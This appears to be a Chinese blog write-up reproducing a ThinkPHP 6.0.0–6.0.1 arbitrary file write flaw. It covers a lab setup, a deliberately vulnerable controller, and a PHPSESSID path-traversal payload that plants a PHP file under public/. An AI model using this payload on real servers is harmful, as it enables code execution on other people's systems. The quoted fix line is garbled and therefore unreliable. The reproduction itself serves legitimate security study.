当前位置: 首页 > news >正文

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现

  • 漏洞名称
    • 漏洞描述
    • 影响版本
  • 漏洞复现
    • 环境搭建
      • 安装thinkphp6
      • 漏洞信息配置
    • 漏洞利用
  • 修复建议

漏洞名称

漏洞描述

2020年1月10日,ThinkPHP团队发布一个补丁更新,修复了一处由不安全的SessionId导致的任意文件操作漏洞。该漏洞允许攻击者在目标环境启用session的条件下创建任意文件以及删除任意文件,在特定情况下还可以getshell。

影响版本

ThinkPHP 6.0.0
ThinkPHP 6.0.1

漏洞复现

环境搭建

受害者IP:192.168.10.145
攻击者IP:127.0.0.1

安装thinkphp6

下载PHPstudy_pro,网上一堆自己找吧,链接不推了。
利用PHPStudy_pro对环境进行安装Composer2.5.8

在这里插入图片描述

创建网站,域名think6,会在think6目录下生成.htaccess文件和nginx.htaccess文件,将这两个文件移动到上个目录,也就是www目录下。

在这里插入图片描述

打开composer,composer2.5.8,php>=7.2

在这里插入图片描述
在这里插入图片描述
在www目录下面执行这个命令

cd ../
composer create-project topthink/think think6(think6自定义,这个会生成一个文件夹)  

将 think6/composer.json 文件的 “topthink/framework”: “^6.0.0” 改成 6.0.0 版本,并执行更新命令

在这里插入图片描述

进入tp6目录
cd tp6
composer update

在本地访问网站为6.0.0,则成功搭建。
在这里插入图片描述

漏洞信息配置

构造位置:think6\app\controller\Index.php
需要增加构造的内容:

use think\facade\Session;
session::set('demo',$_GET['c']);

在这里插入图片描述

/think6/app/middleware.php 文件开启session,去掉注释session的//

在这里插入图片描述

漏洞利用

构造参数c和phpsessid;

index?c=<?php phpinfo();?>
PHPSESSID=../../../../public/1omg12377.php

在这里插入图片描述

访问public目录下的1omg12377.php文件。

在这里插入图片描述

修复建议

官方修复建议:对session id 加一个过滤,使用ctype_alnum()

$this->id = is_string($id) && strlen($id) === 32 ctype_alnum($id&& ? $id : md5(microtime(true) . session_create_id());

相关文章:

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现

ThinkPHP6.0任意文件上传 PHPSESSION 已亲自复现 漏洞名称漏洞描述影响版本 漏洞复现环境搭建安装thinkphp6漏洞信息配置 漏洞利用 修复建议 漏洞名称 漏洞描述 2020年1月10日&#xff0c;ThinkPHP团队发布一个补丁更新&#xff0c;修复了一处由不安全的SessionId导致的任意文…...

短说社区运营的使用工具分享(一)

本文是一篇针对短说社区运营的使用工具分享帖&#xff0c;是小编结合日常使用&#xff0c;总结的一些可以帮助网站管理员和运营人员进行日常操作和管理的工具。 1. 想天工作台之运营面板 想天工作台可以将桌面划分不同的类型来辅助办公&#xff0c;我分享下我当前的桌面情况&…...

关于.gitignore文件

.gitignore文件用于忽略git同步文件。 git上创建项目时&#xff0c;默认的.gitignore文件配置比较少&#xff0c;不太适合于windows下vs的开发设置。 下面是vs中.gitignore条目样例&#xff1a; # Prerequisites *.d# Compiled Object files *.slo *.lo *.o *.obj*.iobj *.V…...

Cell 文章图复现

多组差异火山图复现 参考文章: A Spatiotemporal Organ-Wide Gene Expression and Cell Atlas of the Developing Human Heart Figure 2. H 图里主要是单细胞数据不同cluster之间的差异火山图, 所以说白了就是散点图和柱状图的结合, 散点图用差异基因绘制, 柱状图利用logFC最…...

只需一招彻底解决SOLIDWORKS不显示缩略图预览

SOLIDWORKS缩略图能够让工程师便于识别想要打开的模型&#xff0c;但经常会有用户遇到在资源管理器中查看SOLIDWORKS文件时&#xff0c;仅显示SOLIDWORKS的图标&#xff0c;而没有相关文件的预览缩略图。 Windows文件夹选项设置 首先确保Windows文件夹选项设置&#xff0c;显…...

nccl 源码分析 从 ncclAllReduce 的执行开始认识nccl源代码

文字没有提及的代码内容&#xff0c;不需要太在意&#xff0c;当然也可以瞟两眼&#xff1b; 首先&#xff0c;总体而言函数 ncclAllReduce 的功能在于将携带了一个操作的info结构体&#xff0c;放入了队列中&#xff0c;待后面执行&#xff1b; 排队的函数调用是 ncclEnqueue…...

仿照AirDrop(隔空投送)优雅地在局域网中传输文件

基于WebRTC的局域网文件传输 在前一段时间&#xff0c;我想在手机上向电脑发送文件&#xff0c;因为要发送的文件比较多&#xff0c;所以我想直接通过USB连到电脑上传输&#xff0c;等我将手机连到电脑上之后&#xff0c;我发现手机竟然无法被电脑识别&#xff0c;能够充电但是…...

【PHP】TP5.0及Fastadmin中将查询数据返回对象转为数组

目录 方法一&#xff1a;使用collection助手函数 方法二&#xff1a;设置返回数据集的对象名 在 ThinkPHP 5.0 中&#xff0c;对模型查询返回的对象进行了优化&#xff0c;默认情况下&#xff0c;使用 all 或 select 方法查询数据库将返回一个对象数组集合。这个集合是模型的…...

大公司里怎样开发和部署前端代码?

前端训练营&#xff1a;1v1私教&#xff0c;终身辅导计划&#xff0c;帮你拿到满意的 offer。 已帮助数百位同学拿到了中大厂 offer。欢迎来撩~~~~~~~~ Hello&#xff0c;大家好&#xff0c;我是 Sunday。 昨天的时候有同学问到前端部署相关的内容&#xff0c;正好在知乎中看到…...

API接口:原理、设计与实践

一、引言 随着互联网的发展&#xff0c;应用程序之间的交互变得越来越频繁&#xff0c;API接口成为了不同应用程序之间进行数据交换的重要手段。本文将详细介绍API接口的原理、设计与实践&#xff0c;以期帮助读者更好地理解和应用这一技术。 二、API接口概述 API&#xff0…...

2023年TIOBE指数TOP50的编程语言写“Hello World!”

这篇文章列出了TIOBE指数TOP50的编程语言&#xff08;TIOBE Index - TIOBE&#xff09;如何写“Hello World&#xff01;”。“Hello World&#xff01;”代码应该是每个程序员学习一门编程语言最先实现的程序&#xff0c;给我们带来了很多美好的回忆&#xff0c;下面我们就一次…...

spring、springmvc、springboot、springcloud简介

spring简介 spring是什么&#xff1f; spring: 春天spring: 轻量级的控制反转和面向切面编程的框架 历史 2002年&#xff0c;首次推出spring雏形&#xff0c;interface 21框架2004年&#xff0c;发布1.0版本Rod Johnson: 创始人&#xff0c;悉尼大学&#xff0c;音乐学博士…...

立仪科技光谱共焦位移传感器:应用领域的广泛性

在科技日新月异的今天&#xff0c;光谱共焦位移传感器以其精确、稳定的特性&#xff0c;在各个领域得到了广泛的应用。本文将详细介绍光谱共焦位移传感器的应用情况&#xff0c;以期让大家对其有更深入的了解。我们来理解一下什么是光谱共焦位移传感器。 它是一种通过测量物体表…...

neo4j图数据库安装和测试

neo4j图数据库安装和测试 1. 下载合适的neo4j软件版本。 https://we-yun.com/doc/neo4j/ https://neo4j.com/deployment-center/#enterprise 2. 下载JAVAJDK 由于neo4j是一个用Java编写的图形数据库&#xff0c;因此在安装和运行Neo4j之前&#xff0c;需要先安装Java Developm…...

爬取豆瓣电影top250的电影名称(完整代码与解释)

在爬取豆瓣电影top250的电影名称之前&#xff0c;需要在安装两个第三方库requests和bs4&#xff0c;方法是在终端输入&#xff1a; pip install requestspip install bs4 截几张关键性图片&#xff1a; 豆瓣top250电影网页 运行结果 测试html文件标签的各个方法的作用&#xf…...

tidb 集成 flyway 报错 denied to user for table global_variables

报错内容: Caused by: java.sql.SQLException: connection disabled at com.alibaba.druid.pool.DruidPooledConnection.checkStateInternal(DruidPooledConnection.java:1181) at com.alibaba.druid.pool.DruidPooledConnection.checkState(DruidPooledConnection.jav…...

很实用的ChatGPT网站—在线编程模块增补篇

很实用的ChatGPT网站&#xff08;http://chat-zh.com/&#xff09;——增补篇 今天介绍一个好兄弟开发的ChatGPT网站&#xff0c;网址[http://chat-zh.com/]。这个网站功能模块很多&#xff0c;包含生活、学习、医疗、法律、经济等很多方面。今天跟大家分享一下&#xff0c;新…...

A股风格因子看板 (2024.01第01期)

该因子看板跟踪A股风格因子&#xff0c;该因子主要解释沪深两市的市场收益、刻画市场风格趋势的系列风格因子&#xff0c;用以分析市场风格切换、组合风格暴 露等。 今日为该因子跟踪第1期&#xff0c;指数组合数据截止日2024-12-01&#xff0c;要点如下 近1年A股风格因子检验统…...

基于gamma矫正的照片亮度调整(python和opencv实现)

import cv2 import numpy as npdef adjust_gamma(image, gamma1.0):invGamma 1.0 / gammatable np.array([((i / 255.0) ** invGamma) * 255 for i in np.arange(0, 256)]).astype("uint8")return cv2.LUT(image, table)# 读取图像 original cv2.imread("tes…...

LeetCode-Java(29)

29. 两数相除 结果肯定落在dividend上&#xff0c;于是对这个区间每一个数进行二分查找&#xff0c;判断方法就是 while (l < r) {long mid l r 1 >> 1;if (mul(mid, y) < x) {l mid;} else {r mid - 1;}} 其中mul是一个要定义的快速乘法。 完整代码如下 …...

Java 语言特性(面试系列2)

一、SQL 基础 1. 复杂查询 &#xff08;1&#xff09;连接查询&#xff08;JOIN&#xff09; 内连接&#xff08;INNER JOIN&#xff09;&#xff1a;返回两表匹配的记录。 SELECT e.name, d.dept_name FROM employees e INNER JOIN departments d ON e.dept_id d.dept_id; 左…...

7.4.分块查找

一.分块查找的算法思想&#xff1a; 1.实例&#xff1a; 以上述图片的顺序表为例&#xff0c; 该顺序表的数据元素从整体来看是乱序的&#xff0c;但如果把这些数据元素分成一块一块的小区间&#xff0c; 第一个区间[0,1]索引上的数据元素都是小于等于10的&#xff0c; 第二…...

超短脉冲激光自聚焦效应

前言与目录 强激光引起自聚焦效应机理 超短脉冲激光在脆性材料内部加工时引起的自聚焦效应&#xff0c;这是一种非线性光学现象&#xff0c;主要涉及光学克尔效应和材料的非线性光学特性。 自聚焦效应可以产生局部的强光场&#xff0c;对材料产生非线性响应&#xff0c;可能…...

【HarmonyOS 5.0】DevEco Testing:鸿蒙应用质量保障的终极武器

——全方位测试解决方案与代码实战 一、工具定位与核心能力 DevEco Testing是HarmonyOS官方推出的​​一体化测试平台​​&#xff0c;覆盖应用全生命周期测试需求&#xff0c;主要提供五大核心能力&#xff1a; ​​测试类型​​​​检测目标​​​​关键指标​​功能体验基…...

基于Flask实现的医疗保险欺诈识别监测模型

基于Flask实现的医疗保险欺诈识别监测模型 项目截图 项目简介 社会医疗保险是国家通过立法形式强制实施&#xff0c;由雇主和个人按一定比例缴纳保险费&#xff0c;建立社会医疗保险基金&#xff0c;支付雇员医疗费用的一种医疗保险制度&#xff0c; 它是促进社会文明和进步的…...

vue3 定时器-定义全局方法 vue+ts

1.创建ts文件 路径&#xff1a;src/utils/timer.ts 完整代码&#xff1a; import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...

成都鼎讯硬核科技!雷达目标与干扰模拟器,以卓越性能制胜电磁频谱战

在现代战争中&#xff0c;电磁频谱已成为继陆、海、空、天之后的 “第五维战场”&#xff0c;雷达作为电磁频谱领域的关键装备&#xff0c;其干扰与抗干扰能力的较量&#xff0c;直接影响着战争的胜负走向。由成都鼎讯科技匠心打造的雷达目标与干扰模拟器&#xff0c;凭借数字射…...

在鸿蒙HarmonyOS 5中使用DevEco Studio实现录音机应用

1. 项目配置与权限设置 1.1 配置module.json5 {"module": {"requestPermissions": [{"name": "ohos.permission.MICROPHONE","reason": "录音需要麦克风权限"},{"name": "ohos.permission.WRITE…...

浅谈不同二分算法的查找情况

二分算法原理比较简单&#xff0c;但是实际的算法模板却有很多&#xff0c;这一切都源于二分查找问题中的复杂情况和二分算法的边界处理&#xff0c;以下是博主对一些二分算法查找的情况分析。 需要说明的是&#xff0c;以下二分算法都是基于有序序列为升序有序的情况&#xf…...

大学生职业发展与就业创业指导教学评价

这里是引用 作为软工2203/2204班的学生&#xff0c;我们非常感谢您在《大学生职业发展与就业创业指导》课程中的悉心教导。这门课程对我们即将面临实习和就业的工科学生来说至关重要&#xff0c;而您认真负责的教学态度&#xff0c;让课程的每一部分都充满了实用价值。 尤其让我…...